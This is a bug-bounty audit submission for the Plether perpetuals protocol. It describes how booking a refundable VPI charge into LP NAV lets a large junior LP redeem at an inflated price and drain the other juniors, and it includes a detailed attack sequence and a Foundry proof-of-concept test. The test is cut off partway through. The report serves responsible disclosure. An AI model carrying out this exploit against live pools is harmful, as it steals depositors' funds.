Immunefi Audit Competitions
Plether | Audit Competition

#99594 [SC-Critical] Refundable VPI charge is booked into LP NAV before its close-time rebate settles, letting a large junior LP/trader redeem at the inflated price and drain the remaining juniors

Submitted on Nov 14th 2026 at 12:05:23 UTC by @Another for Audit Competition | Plether

Description

Brief/Intro

The VPI charge paid at open enters LP NAV immediately as revenue, while the matching close-time rebate (guaranteed up to the accrual by the lifetime clamp) stays unreserved and outside NAV. A junior LP holding >40% of the tranche requests redemption, opens a max-skew position, funds the redemption at the inflated price, then closes and receives the clamped rebate paid by the pool. Full-stack PoC at release params: attacker +2,765.57, other juniors -4,383.83 USDG per cycle on a 10M pool.

Vulnerability Details

Root cause — an accounting asymmetry between the VPI charge and its rebate.

  1. The charge becomes LP equity the moment it is collected. On a skew-increasing open the charge is debited from the trader and routed into the HousePool as revenue:

packages/perps/src/CfdEngineSettlementSidecar.sol (executeOpen, charge leg):

(int256 netMarginChange, uint256 protocolFeeCreditedAssets) = clearinghouse.applyOpenCost(
    delta.account, delta.marginDeltaAssets, delta.tradeCostAssets,
    host.pool(), host.protocolTreasury(), delta.executionFeeAssets      // fee -> treasury
);
if (delta.tradeCostAssets > 0) {
    uint256 poolCashInflowAssets = uint256(delta.tradeCostAssets) - protocolFeeCreditedAssets;
    if (poolCashInflowAssets > 0) {
        IHousePool(host.pool())
            .recordClaimantInflow(                  // <- VPI charge
                poolCashInflowAssets, IHousePool.ClaimantInflowKind.Revenue,
                IHousePool.ClaimantInflowCashMode.CashArrived);
    }
}

HousePool.recordClaimantInflow (HousePool.sol:625) does accountedAssets += amount and (for an active pool, S+J > 0) queues nothing — the cash is simply pool equity. The next reconcile therefore includes it in distributable:

packages/perps/src/libraries/HousePoolAccountingLib.sol (buildReconcileSnapshot, lines 63-81):

uint256 terminalAssets = engineSnapshot.physicalAssets;      // includes collected VPI charge
uint256 terminalLiabilities = engineSnapshot.traderClaimBalanceAssets; // future rebate NOT here
int256 terminalDelta = engineSnapshot.terminalLpPriceDeltaAssets;
...
snapshot.distributable = terminalAssets - terminalLiabilities;

HousePoolWaterfallAccountingLib.distributeRevenue sends all revenue above the senior high-water mark to the junior principal, so the charge C raises the junior per-share price by C/juniorSupply.

  1. The rebate is guaranteed, pool-funded, and unreserved. The close-time VPI is the negative of the curve delta, and CloseAccountingLib clamps the lifetime balance so the trader is always refunded up to the positive accrual (packages/perps/src/libraries/CloseAccountingLib.sol:106-121):
state.proportionalAccrualAssets =
    (inputs.position.vpiAccrued * int256(inputs.sizeDelta)) / int256(inputs.position.size);
...
// Clamp so lifetime VPI (accrued + delta) never goes negative. Prevents LP sandwich attacks ...
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
    state.vpiDeltaAssets = -state.proportionalAccrualAssets;   // rebate == exactly the accrual
}

The clamped rebate is paid straight out of HousePool (LP) assets (CfdEngineSettlementSidecar._executeClose):

if (delta.actionRebatePaidAssets > 0) {
    IHousePool(host.pool()).payOut(address(clearinghouse), delta.actionRebatePaidAssets);
    clearinghouse.settleAssets(delta.account, int256(delta.actionRebatePaidAssets));
}

Nothing between open and close deducts this future rebate from NAV: traderClaimBalanceAssets only holds already-recorded unsettled payout claims, and the engine's dedicated VPI reserve backs only the negative side (CfdEnginePlanLib._negativeVpiReserveTarget, lines 48-56: target = vpiAccrued < 0 ? -vpiAccrued : 0 — trader owes pool). For positive accrued VPI (pool owes trader up to the accrual at close) no pool-side reserve exists. The whitepaper documents this one-sided protection: "The reserve is excluded from the terminal price curve, so LPs cannot withdraw it as marked equity before the matching position obligation settles" — applied to max(-vpiAccrued,0) only.

  1. Redemptions are priced on the inflated principal, in the same settlement. _settleLpEpoch (HousePool.sol:824-942) reconciles first, then prices the junior redemption phase on the post-reconcile principal:
_reconcile(accountingSnapshot, statusSnapshot);        // waterfall marked with C
...
juniorPhase.pricingPrincipal = juniorPrincipal;        // includes C   (line 841)
juniorPhase.pricingSupply = _juniorShareSupply();
...
juniorPhase = _fundRedemptionPhase(juniorVault, ..., juniorPhase, _settlementFeeBps(false, ...)); // fee 0 live

The funding quote is shares * pricingPrincipal / pricingSupply (HousePoolRedemptionMathSidecar.netAssetsForShares, fee 0 outside oracle-frozen mode), so a redeemer is paid the full pro-rata share of the attacker's own charge.

  1. Every step of the window is attacker-controlled and permissionless.
    • TrancheVault._requestEpochWindow: a redemption requested in epoch N matures for any settlement inside epoch N+1; a request in the last 5 minutes of N targets N+2.
    • Order executions (executeOrder, PriceMode.OrderExecution) do not settle LP epochs; the LP settlement runs through OrderRouter.settleLpEpoch(bytes[]), which is permissionless ("Permissionless and available while the router admin is paused", OrderRouter.sol:476-486) and refreshes the mark from fresh Pyth data, so the attacker settles the epoch themselves exactly when they want.
    • The attacker opens in the last minutes of epoch N (before the epoch boundary, the redemption head is not yet matured, so no third-party settlement can fund it early) or in the first minutes of N+1, settles the epoch, claims the redemption, and closes — zero race, and the position needs to be open only across one epoch boundary (minutes).

Attack sequence (verified, D = pool depth, k = vpiFactor = 0.01, skew cap 0.4·D):

  1. Attacker is a junior LP holding fraction h of the junior tranche (h > 40%, see impact). During epoch N (after the cutoff for N+1, i.e. in the last 5 minutes) they requestRedeem all their shares → queued for epoch N+2.
  2. They open a LONG of notional X = 0.4·D (max allowed skew). VPI charge C = k·X²/(2D) = 0.0008·D is paid into the pool and booked as LP revenue; position.vpiAccrued = C.
  3. First minute of epoch N+2: attacker calls router.settleLpEpoch (fresh Pyth blob). The reconcile marks the junior principal up by C; the junior redemption phase funds their shares at the inflated price. The junior redemption budget is freeAssets = physical - maxLiability - claims - buffer ≈ 0.6·D, so a large attacker redeems ~60%·D worth of shares in this one settlement.
  4. Attacker closes the position. The close reduces skew to 0 at the now-smaller post-redemption depth, so the natural rebate exceeds C and the lifetime clamp binds: vpiDelta = -proportionalAccrual = -C. The pool pays the rebate; the execution fee on the close is netted against it, so the pool pays out C - closeFee.
  5. Net: the attacker extracted h·C of their own refundable charge via the redemption price, received the rest back at close, and lost only the round-trip execution fees (0.00032·D at 4 bps/leg on notional 0.4·D). The remaining juniors fund the difference.

Measured end-to-end on the full real stack (release parameters: vpiFactor 0.01e18, maxSkewRatio 0.4e18, executionFeeBps 4, settlementBufferBps 25, senior coupon 800 bps, LP epoch 1 h / 5-min cutoff / 1 h deposit cooldown, senior cap 40M/80%): pool S = 2M, J = 8M, attacker holds 75% of junior.

  • Charge paid at open: 7,999.9984 USDG (= 0.0008·(10M+2)); pool assets 10,008,002 USDG; skew 4M = 0.4·depth.
  • Redemption funded at settlement 3: 5,998,002 USDG — exactly physical(10,008,002) - maxLiability(4,000,000) - buffer(10,000) — at the per-share price including C.
  • Close: clamped rebate 8,000 USDG assessed, 6,400 USDG net paid out of the pool.
  • Attacker profit: +2,765.57 USDG per cycle (≈ 2,765.57 = 0.75·8,000 - 1,600 open fee - 1,600 netted close fee - carry/rounding).
  • Other juniors (25% of the tranche): -4,383.83 USDG per cycle = attacker profit (2,765.57) + open fee routed to treasury (1,600) + one extra senior coupon accrual (18.26) - 2.19 carry — exact conservation, senior principal never decreases (junior-first loss absorption).

Why the existing safeguards do not cover this: the lifetime clamp's own comment targets only the net-negative lifetime case ("opens at high depth, reduces pool depth, then closes to extract a net-negative lifetime VPI rebate"); the negative-accrued reserve protects only the trader-owes-pool side; the two info · price_manipulation scan findings manipulate the depth at close execution to resize a charge/rebate and are capped by the same clamp — none of them prices a redemption between the open and the close. The documented exclusions ("neither anticipated VPI nor its reserve inflates terminal K or symmetric NAV") state the accounting treatment used here; they do not acknowledge that a departing LP can price a redemption off collected-but-refundable VPI. Unlike carry (the accepted collection-time policy), whose collections are earned and never clawed back, a VPI charge is round-trip neutral by the whitepaper's own example ("Reversing the move at unchanged depth produces a $20,000 rebate before the lifetime clamp"), so booking it as distributable equity transfers real value away from whoever still holds shares when the rebate settles.

The symmetric entry variant (receive a skew-reducing rebate before depositing, then pay the clamped clawback after the deposit activates) extracts value from incumbents the same way and needs no redemption at all.

Impact Details

Category: Theft of LP funds via value extraction from remaining Junior LPs; a departing LP converts a refundable accrual into a permanent personal gain

Preconditions: attacker controls more than 40% of the junior tranche. Breakeven: profit = h·C - 0.00032·D with C ≤ 0.0008·D, so h > 40%. (With senior 20% of the pool, the free-cash cap allows redeeming ~75% of junior in one settlement — the shape used in the PoC.) Attacker also posts trading margin (≈ 0.0008·D initial margin for the max-skew position plus the charge/fees) and briefly holds 0.4·D notional of price risk for minutes, which is hedgeable off-protocol.

References

  • packages/perps/src/libraries/CloseAccountingLib.sol:106-121 — lifetime clamp guarantees the rebate of the positive accrual; comment documents only the net-negative (depth-shrink) sandwich.
  • packages/perps/src/CfdEngineSettlementSidecar.sol — executeOpen: charge routed to pool via recordClaimantInflow(Revenue, CashArrived); _executeClose: pool.payOut(...) funds the rebate from LP assets; buildRawSnapshot (snap.poolAssets = poolDepthAssets from pool.totalAssets()) — collected charge is inside VPI depth.
  • packages/perps/src/libraries/HousePoolAccountingLib.sol:63-81 — distributable = physicalAssets - traderClaimBalanceAssets + terminalLpPriceDeltaAssets (future rebate absent).
  • packages/perps/src/HousePool.sol:824-942 — _settleLpEpoch reconciles, then funds junior redemptions at pricingPrincipal = juniorPrincipal (post-reconcile); _fundRedemptionPhase/REDEMPTION_MATH_SIDECAR.netAssetsForShares (zero fee live).
  • packages/perps/src/libraries/HousePoolWaterfallAccountingLib.sol (distributeRevenue) — revenue above senior HWM accrues to junior principal.
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:48-56 — _negativeVpiReserveTarget backs only max(-vpiAccrued, 0) (trader-owes-pool side).
  • packages/perps/src/CfdMath.sol:104-181 — C(S) = k·S²/(2D), calculateVPI = C(post) - C(pre).
  • packages/perps/src/OrderRouter.sol:476-486 and router/OrderLiquidationBatchLogic.sol:552-588 — permissionless settleLpEpoch (keeper path) refreshes the mark and settles the epoch.
  • packages/perps/src/TrancheVault.sol — _requestEpochWindow (request in epoch N funds in N+1/N+2), DEPOSIT_COOLDOWN = 1 h, LP_REQUEST_CUTOFF_DURATION = 5 minutes.
  • Adjacent known scan findings (price_manipulation): "Temporary pool liquidity can reduce a skew-increasing close charge" and "Temporary pool-liquidity reduction can amplify a skew-reducing close rebate" — both manipulate close-time depth; neither describes redemption capture of the charge.

Proof of Concept

Proof of Concept

Create the test file below and run it:

// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import "forge-std/Test.sol";
import {MockUSDG} from "./mocks/MockUSDG.sol";
import {MockPyth} from "./mocks/MockPyth.sol";

import {CfdEngine} from "@plether/perps/CfdEngine.sol";
import {CfdEngineAdmin} from "@plether/perps/CfdEngineAdmin.sol";
import {CfdEnginePlanner} from "@plether/perps/CfdEnginePlanner.sol";
import {CfdEngineSettlementSidecar} from "@plether/perps/CfdEngineSettlementSidecar.sol";
import {CfdEngineLens} from "@plether/perps/CfdEngineLens.sol";
import {TerminalNavBookV2} from "@plether/perps/TerminalNavBookV2.sol";
import {HousePool} from "@plether/perps/HousePool.sol";
import {HousePoolRedemptionMathSidecar} from "@plether/perps/HousePoolRedemptionMathSidecar.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {MarginClearinghouse} from "@plether/perps/MarginClearinghouse.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {CfdOrderPolicyEvaluator} from "@plether/perps/CfdOrderPolicyEvaluator.sol";
import {OrderLifecycleBook} from "@plether/perps/OrderLifecycleBook.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderRouterLiquidationBatchSidecar} from "@plether/perps/OrderRouterLiquidationBatchSidecar.sol";
import {OrderRouterExecutionSidecar} from "@plether/perps/OrderRouterExecutionSidecar.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IMarginClearinghouse} from "@plether/perps/interfaces/IMarginClearinghouse.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/// @title VpiLpExitTiming PoC
/// @notice A large Junior LP who is also a trader requests a redemption, opens a
///         skew-increasing position (the VPI charge is booked as LP revenue), has the
///         redemption funded at the inflated per-share price, then closes and receives the
///         lifetime-clamped VPI rebate paid by the remaining LPs.
contract VpiLpExitTimingTest is Test {
    // ------------------------------------------------------------------
    // Release parameters ("Initial release parameters")
    // ------------------------------------------------------------------
    uint256 internal constant CAP_PRICE = 2e8;
    uint256 internal constant VPI_FACTOR = 0.01e18;
    uint256 internal constant MAX_SKEW_RATIO = 0.4e18;
    uint256 internal constant MAINT_MARGIN_BPS = 10;
    uint256 internal constant INIT_MARGIN_BPS = 20;
    uint256 internal constant FAD_MARGIN_BPS = 300;
    uint256 internal constant BASE_CARRY_BPS = 500;
    uint256 internal constant MIN_BOUNTY_ASSETS = 1e6;
    uint256 internal constant BOUNTY_BPS = 10;
    uint256 internal constant KEEPER_SHARE_BPS = 5_000;
    uint256 internal constant PROTOCOL_SHARE_BPS = 0;
    uint256 internal constant FROZEN_CLOSE_SPREAD_BPS = 50;

    // Anchor: Sunday, 19 Nov 2023 23:00:00 UTC (18:00 New York, just after the
    // Sunday FX open, outside the FAD / oracle-frozen window). The 72h pool-config
    // timelock then matures Wednesday 23:01 UTC, and the scenario epochs run on
    // Thursday, all outside the Fri-17:00-NY .. Sun-17:00-NY window.
    uint256 internal constant BASE = 1_700_352_000 + 23 hours;

    // Scenario sizes: senior 2M, junior 8M, attacker holds 75% of junior.
    uint256 internal constant SENIOR_ASSETS = 2_000_000e6;
    uint256 internal constant ATTACKER_JUNIOR_ASSETS = 6_000_000e6;
    uint256 internal constant VICTIM_JUNIOR_ASSETS = 2_000_000e6;
    uint256 internal constant ATTACKER_MARGIN = 500_000e6;

    struct Stack {
        MockUSDG token;
        MockPyth pyth;
        MarginClearinghouse clearinghouse;
        CfdEngine engine;
        HousePool pool;
        TrancheVault seniorVault;
        TrancheVault juniorVault;
        PletherOracle oracle;
        CfdEngineLens engineLens;
        OrderRouter router;
        OrderLifecycleBook lifecycleBook;
    }

    address internal attacker = makeAddr("attacker"); // LP + trader (same principal)
    address internal victim = makeAddr("victim"); // passive junior LP
    address internal seniorLP = makeAddr("seniorLP"); // passive senior LP
    address internal owner = makeAddr("owner"); // protocol owner
    address internal deployer = makeAddr("deployer"); // nonce-controlled deployer
    address internal seedReceiver = makeAddr("seedReceiver");

    bytes[] internal pythData;

    function setUp() public {
        pythData.push(bytes("pyth-payload"));
    }

    // ------------------------------------------------------------------
    // Helpers
    // ------------------------------------------------------------------

    function _computeCreateAddress(address acct, uint256 nonce) internal pure returns (address) {
        return address(
            uint160(
                uint256(
                    keccak256(
                        abi.encodePacked(bytes1(0xd6), bytes1(0x94), acct, bytes1(uint8(nonce)))
                    )
                )
            )
        );
    }

    function _epochStart(uint256 ts) internal pure returns (uint256) {
        return (ts / 1 hours) * 1 hours;
    }

    function _deployStack() internal returns (Stack memory s) {
        vm.startPrank(owner);
        s.pyth = new MockPyth();
        s.token = new MockUSDG();
        s.clearinghouse = new MarginClearinghouse(address(s.token));
        s.engine = new CfdEngine(
            address(s.token),
            address(s.clearinghouse),
            CAP_PRICE,
            CfdTypes.RiskParams({
                vpiFactor: VPI_FACTOR,
                maxSkewRatio: MAX_SKEW_RATIO,
                maintMarginBps: MAINT_MARGIN_BPS,
                initMarginBps: INIT_MARGIN_BPS,
                fadMarginBps: FAD_MARGIN_BPS,
                baseCarryBps: BASE_CARRY_BPS,
                minBountyAssets: MIN_BOUNTY_ASSETS,
                bountyBps: BOUNTY_BPS,
                keeperShareBps: KEEPER_SHARE_BPS,
                protocolShareBps: PROTOCOL_SHARE_BPS
            }),
            FROZEN_CLOSE_SPREAD_BPS
        );
        vm.stopPrank();

        vm.startPrank(owner);
        TerminalNavBookV2 navBook = new TerminalNavBookV2(address(s.engine), uint32(CAP_PRICE));
        s.engine.setTerminalNavBook(address(navBook));

        CfdEnginePlanner planner = new CfdEnginePlanner();
        CfdEngineSettlementSidecar sidecar = new CfdEngineSettlementSidecar(address(s.engine));
        CfdEngineAdmin engineAdmin = new CfdEngineAdmin(address(s.engine), owner);
        s.engine.setDependencies(address(planner), address(sidecar), address(engineAdmin));

        HousePoolRedemptionMathSidecar redMath = new HousePoolRedemptionMathSidecar();
        s.pool = new HousePool(address(s.token), address(s.engine), address(redMath));
        s.engine.setPool(address(s.pool));

        s.seniorVault =
            new TrancheVault(IERC20(address(s.token)), address(s.pool), true, "Plether Senior", "PT-SR", 0, address(0));
        s.pool.setSeniorVault(address(s.seniorVault));

        address treasury = s.engine.protocolTreasury();
        s.juniorVault =
            new TrancheVault(IERC20(address(s.token)), address(s.pool), false, "Plether Junior", "PT-JR", 0, treasury);
        s.pool.setJuniorVault(address(s.juniorVault));

        s.clearinghouse.setEngine(address(s.engine));
        s.engineLens = new CfdEngineLens(address(s.engine));

        bytes32[] memory feedIds = new bytes32[](1);
        feedIds[0] = bytes32(uint256(0x455552555344)); // "EURUSD"
        uint256[] memory quantities = new uint256[](1);
        quantities[0] = 1e18;
        uint256[] memory basePrices = new uint256[](1);
        basePrices[0] = 110_000_000; // 1.10 USD -> basket mark 1.00 (8 decimals)
        bool[] memory inversions = new bool[](1);
        inversions[0] = false;
        s.oracle =
            new PletherOracle(address(s.engine), address(s.pool), address(s.pyth), feedIds, quantities, basePrices, inversions);

        CfdOrderPolicyEvaluator evaluator = new CfdOrderPolicyEvaluator();
        OrderRouterExecutionSidecar executionSidecar = new OrderRouterExecutionSidecar();
        vm.stopPrank();

        // Strict nonce sequence: lifecycle book (n), keeper sidecar (n+1), router (n+2).
        vm.startPrank(deployer);
        uint64 nonceBefore = vm.getNonce(deployer);
        address predictedRouter = _computeCreateAddress(deployer, nonceBefore + 2);
        OrderLifecycleBook book =
            new OrderLifecycleBook(predictedRouter, address(s.engine), address(s.clearinghouse), address(s.pool));
        OrderRouterLiquidationBatchSidecar keeperSidecar = new OrderRouterLiquidationBatchSidecar(predictedRouter);
        s.lifecycleBook = book;
        s.router = new OrderRouter(
            address(s.engine),
            address(s.engineLens),
            address(s.pool),
            address(s.oracle),
            address(keeperSidecar),
            address(evaluator),
            address(executionSidecar),
            address(book)
        );
        assertEq(address(s.router), predictedRouter, "router address prediction");
        vm.stopPrank();

        vm.prank(owner);
        s.engine.setOrderRouter(address(s.router));

        // Establish the initial engine mark from the mock Pyth feed.
        vm.deal(address(this), 1 ether);
        s.router.updateMarkPrice{value: 1 wei}(pythData);
    }

    function _bounds(Stack memory s) internal view returns (OrderV3Types.ExecutionBounds memory b) {
        b = OrderV3Types.ExecutionBounds({
            submitBy: uint64(block.timestamp + 120),
            executionWindowSeconds: 60,
            allowedExecutionModes: 1, // Live
            expectedConfigHash: s.lifecycleBook.currentExecutionConfigHash(),
            maxExecutionBountyAssets: 1e6,
            maxExecutionNotionalAssets: type(uint256).max,
            maxGrossAccountDebitAssets: type(uint256).max,
            maxActionChargeAssets: type(uint256).max,
            maxExplicitFeesAssets: type(uint256).max,
            maxPostPositionSize: type(uint256).max,
            minPostSettlementBalanceAssets: 0,
            minPostPositionEquityAssets: 0,
            maxPostLeverageBps: type(uint32).max
        });
    }

    function _settle(Stack memory s) internal {
        s.router.settleLpEpoch{value: 1 wei}(pythData);
    }

    /// @dev Best-effort settlement: reverts with NoLpEpochProgress when no queue item
    ///      advances, which is expected once every request has fully settled.
    function _trySettle(Stack memory s) internal {
        try s.router.settleLpEpoch{value: 1 wei}(pythData) {} catch {}
    }

    // ------------------------------------------------------------------
    // Scenario runner
    // ------------------------------------------------------------------

    struct ScenarioResult {
        uint256 attackerUSDG; // attacker EOA balance + margin account
        uint256 victimJuniorValue; // victim shares valued at post-reconcile principal
        uint256 attackerRedeemProceeds;
        uint256 vpiCharge;
        uint256 vpiRebate;
        // diagnostics
        uint256 poolAssetsAfterOpen;
        uint256 juniorPrincipalAtRedeem;
        uint256 juniorSupplyAtRedeem;
        uint256 fundedAtS3;
        uint256 escrowAfterS3;
        uint256 juniorPrincipalFinal;
        uint256 juniorSupplyFinal;
        uint256 seniorPrincipalFinal;
        uint256 treasuryFees;
    }

    /// @dev Deploys a full stack, funds the pool, and runs one LP-exit cycle.
    /// @param doAttack If true, the attacker opens the skew-increasing position before
    ///                 the redeeming settlement and closes it afterwards.
    function _runScenario(bool doAttack) internal returns (ScenarioResult memory r) {
        vm.warp(BASE); // Sunday 23:00 UTC — rewind before deploying so the fresh
        // stack's initial mark refresh is not in the future relative to the scenario.
        Stack memory s = _deployStack();

        // The pool constructor ships unbounded senior sentinels; the release
        // 40M / 80% senior limits must be staged and finalized through the 72h timelock.
        vm.startPrank(owner);
        s.pool.proposePoolConfig(
            IHousePool.PoolConfig({
                seniorRateBps: 800,
                markStalenessLimit: 60,
                seniorFrozenLpFeeBps: 25,
                juniorFrozenLpFeeBps: 75,
                maxSeniorExposureAssets: 40_000_000e6,
                maxSeniorShareBps: 8_000
            })
        );
        vm.stopPrank();

        vm.warp(BASE + 72 hours + 60); // Wednesday 23:01 UTC, outside the FAD window
        vm.prank(owner);
        s.pool.finalizePoolConfig();

        vm.startPrank(owner);
        s.token.mint(owner, 2e6);
        s.token.approve(address(s.pool), 2e6);
        // Junior seed first: the 80% senior-share cap admits the $1 senior seed only
        // once junior principal exists.
        s.pool.initializeSeedPosition(false, 1e6, seedReceiver);
        s.pool.initializeSeedPosition(true, 1e6, seedReceiver);
        s.pool.activateTrading();
        vm.stopPrank();

        // Fund participants.
        s.token.mint(address(seniorLP), SENIOR_ASSETS);
        s.token.mint(address(attacker), ATTACKER_JUNIOR_ASSETS + ATTACKER_MARGIN);
        s.token.mint(address(victim), VICTIM_JUNIOR_ASSETS);

        // Junior deposits must activate first: the 80% senior-share cap rejects the
        // senior request until junior principal exists.
        vm.startPrank(attacker);
        s.token.approve(address(s.juniorVault), ATTACKER_JUNIOR_ASSETS);
        uint256 juniorReq = s.juniorVault.requestDeposit(ATTACKER_JUNIOR_ASSETS, attacker, attacker);
        vm.stopPrank();

        vm.startPrank(victim);
        s.token.approve(address(s.juniorVault), VICTIM_JUNIOR_ASSETS);
        uint256 victimReq = s.juniorVault.requestDeposit(VICTIM_JUNIOR_ASSETS, victim, victim);
        vm.stopPrank();

        // Settlement 1: junior deposits activate.
        vm.warp(_epochStart(block.timestamp) + 1 hours + 60);
        _settle(s);
        vm.prank(attacker);
        s.juniorVault.claimDeposit(juniorReq, ATTACKER_JUNIOR_ASSETS, attacker, attacker);
        vm.prank(victim);
        s.juniorVault.claimDeposit(victimReq, VICTIM_JUNIOR_ASSETS, victim, victim);

        // Senior deposits can now be admitted.
        vm.startPrank(seniorLP);
        s.token.approve(address(s.seniorVault), SENIOR_ASSETS);
        uint256 seniorReq = s.seniorVault.requestDeposit(SENIOR_ASSETS, seniorLP, seniorLP);
        vm.stopPrank();

        // Settlement 2: senior deposit activates.
        vm.warp(_epochStart(block.timestamp) + 1 hours + 60);
        _settle(s);
        vm.prank(seniorLP);
        s.seniorVault.claimDeposit(seniorReq, SENIOR_ASSETS, seniorLP, seniorLP);

        // The attacker's deposit cooldown (1h from activation) has now elapsed.
        uint256 attackerShares = s.juniorVault.balanceOf(attacker);
        vm.startPrank(attacker);
        uint256 redeemEpochId = s.juniorVault.requestRedeem(attackerShares, attacker, attacker);
        emit log_named_uint("redeem request epoch id", redeemEpochId);

        // Both scenarios fund the same trading collateral so the accounting is
        // directly comparable; only the open/close differ.
        s.token.approve(address(s.clearinghouse), ATTACKER_MARGIN);
        s.clearinghouse.depositMargin(ATTACKER_MARGIN);
        vm.stopPrank();

        if (doAttack) {
            // Open a max-skew LONG. The VPI charge is transferred into the HousePool
            // and recorded as LP revenue immediately.
            vm.deal(attacker, 1 ether);
            vm.startPrank(attacker);
            uint256 poolDepth = s.pool.totalAssets() - s.engine.totalTraderClaimBalanceAssets();
            uint256 skewCap = (poolDepth * MAX_SKEW_RATIO) / 1e18;
            // notional atoms -> size (18 decimals): size = notional * 1e20 / price
            uint256 size = (skewCap * 1e20) / 1e8;
            size = (size / CfdTypes.SIZE_QUANTUM) * CfdTypes.SIZE_QUANTUM;

            uint64 openId = s.router.commitOrder(
                OrderV3Types.OrderRequest({
                    clientOrderId: bytes32(uint256(1)),
                    side: CfdTypes.Side.LONG,
                    sizeDelta: size,
                    marginDelta: 50_000e6,
                    targetPrice: 1,
                    isClose: false,
                    bounds: _bounds(s)
                })
            );
            vm.warp(block.timestamp + 2);
            vm.roll(block.number + 1);
            s.router.executeOrder{value: 2 wei}(openId, pythData);
            vm.stopPrank();

            r.poolAssetsAfterOpen = s.pool.totalAssets();
            (,,,,,, int256 vpiAccrued) = s.engine.positions(attacker);
            r.vpiCharge = uint256(vpiAccrued);
        }

        // Settlement 3: the redemption is funded at the post-reconcile per-share
        // price, which includes the VPI charge as junior revenue.
        vm.warp(_epochStart(block.timestamp) + 1 hours + 60);
        uint256 assetsBeforeRedeem = s.token.balanceOf(attacker);
        _settle(s);

        r.juniorPrincipalAtRedeem = s.pool.juniorPrincipal();
        r.juniorSupplyAtRedeem = s.juniorVault.totalSupply();
        uint256 claimableShares = s.juniorVault.claimableRedeemRequest(redeemEpochId, attacker);
        vm.prank(attacker);
        s.juniorVault.claimRedeem(redeemEpochId, claimableShares, attacker, attacker);
        r.fundedAtS3 = s.token.balanceOf(attacker) - assetsBeforeRedeem;
        r.escrowAfterS3 = s.juniorVault.claimableRedeemRequest(redeemEpochId, attacker) == 0
            ? s.juniorVault.balanceOf(address(s.juniorVault))
            : 0;
        r.attackerRedeemProceeds = s.token.balanceOf(attacker);

        if (doAttack) {
            // Close the position. The lifetime clamp rebates exactly the accrued VPI
            // charge, paid out of HousePool (LP) assets.
            (uint256 posSize,,,,,,) = s.engine.positions(attacker);
            vm.startPrank(attacker);
            uint64 closeId = s.router.commitOrder(
                OrderV3Types.OrderRequest({
                    clientOrderId: bytes32(uint256(2)),
                    side: CfdTypes.Side.LONG,
                    sizeDelta: posSize,
                    marginDelta: 0,
                    targetPrice: CAP_PRICE,
                    isClose: true,
                    bounds: _bounds(s)
                })
            );
            vm.warp(block.timestamp + 2);
            vm.roll(block.number + 1);
            s.router.executeOrder{value: 2 wei}(closeId, pythData);

            // Withdraw all trading collateral.
            s.clearinghouse.withdrawMargin(s.clearinghouse.getAccountEquityAssets(attacker));
            vm.stopPrank();

            (,,,,,, int256 vpiAfter) = s.engine.positions(attacker);
            r.vpiRebate = r.vpiCharge; // full close: accrual consumed by the clamped rebate
        }

        // Settlement 4: final settlement so any unfunded redemption remainder funds at
        // the post-close price and the waterfall marks the rebate loss. Reverts
        // harmlessly when the clean scenario has nothing left to settle.
        vm.warp(_epochStart(block.timestamp) + 1 hours + 60);
        _trySettle(s);

        // Claim any remaining redemption proceeds and withdraw all trading collateral.
        uint256 remainingShares = s.juniorVault.claimableRedeemRequest(redeemEpochId, attacker);
        vm.startPrank(attacker);
        if (remainingShares > 0) {
            s.juniorVault.claimRedeem(redeemEpochId, remainingShares, attacker, attacker);
        }
        s.clearinghouse.withdrawMargin(s.clearinghouse.getAccountEquityAssets(attacker));
        vm.stopPrank();

        r.attackerUSDG = s.token.balanceOf(attacker);

        uint256 supply = s.juniorVault.totalSupply();
        r.juniorPrincipalFinal = s.pool.juniorPrincipal();
        r.juniorSupplyFinal = supply;
        r.seniorPrincipalFinal = s.pool.seniorPrincipal();
        r.treasuryFees = s.clearinghouse.getAccountEquityAssets(s.engine.protocolTreasury());
        r.victimJuniorValue =
            (s.juniorVault.balanceOf(victim) * s.pool.juniorPrincipal()) / supply;
        r.attackerRedeemProceeds = r.attackerUSDG - (doAttack ? ATTACKER_MARGIN : ATTACKER_MARGIN);
    }

    function _pendingRedeem(Stack memory s) internal view returns (uint256) {
        // Kept for diagnostics: scans recent epoch ids for a claimable redeem position.
        uint256 base = block.timestamp / 1 hours;
        for (uint256 i = base; i < base + 10; ++i) {
            uint256 claimable = s.juniorVault.claimableRedeemRequest(i, attacker);
            if (claimable > 0) {
                return i;
            }
        }
        return base;
    }

    // ------------------------------------------------------------------
    // Tests
    // ------------------------------------------------------------------

    function test_PoC_VpiLpExitTiming() public {
        ScenarioResult memory clean = _runScenario(false);
        ScenarioResult memory attack = _runScenario(true);

        emit log_string("=========================================================");
        emit log_string("VPI LP exit-timing attack (release parameters)");
        emit log_string("=========================================================");
        emit log_named_uint("VPI charge paid at open (USDG atoms)", attack.vpiCharge);
        emit log_named_uint("Pool assets after open (USDG atoms)", attack.poolAssetsAfterOpen);
        emit log_named_uint("VPI rebated at close (USDG atoms)", attack.vpiRebate);
        emit log_string("---------------------------------------------------------");
        emit log_named_uint("Junior principal at redeeming settlement (attack)", attack.juniorPrincipalAtRedeem);
        emit log_named_uint("Junior supply at redeeming settlement (attack)", attack.juniorSupplyAtRedeem);
        emit log_named_uint("Redemption funded at settlement 3 (USDG)", attack.fundedAtS3);
        emit log_named_uint("Clean-scenario junior principal at settlement 3", clean.juniorPrincipalAtRedeem);
        emit log_string("---------------------------------------------------------");
        emit log_named_uint("Attacker final USDG - clean", clean.attackerUSDG);
        emit log_named_uint("Attacker final USDG - attack", attack.attackerUSDG);
        uint256 attackerProfit = attack.attackerUSDG - clean.attackerUSDG;
        emit log_named_uint("ATTACKER PROFIT (USDG)", attackerProfit);
        emit log_string("---------------------------------------------------------");
        emit log_named_uint("Victim junior value - clean", clean.victimJuniorValue);
        emit log_named_uint("Victim junior value - attack", attack.victimJuniorValue);
        uint256 victimLoss = clean.victimJuniorValue - attack.victimJuniorValue;
        emit log_named_uint("VICTIM (other juniors) LOSS (USDG)", victimLoss);
        emit log_string("---------------------------------------------------------");
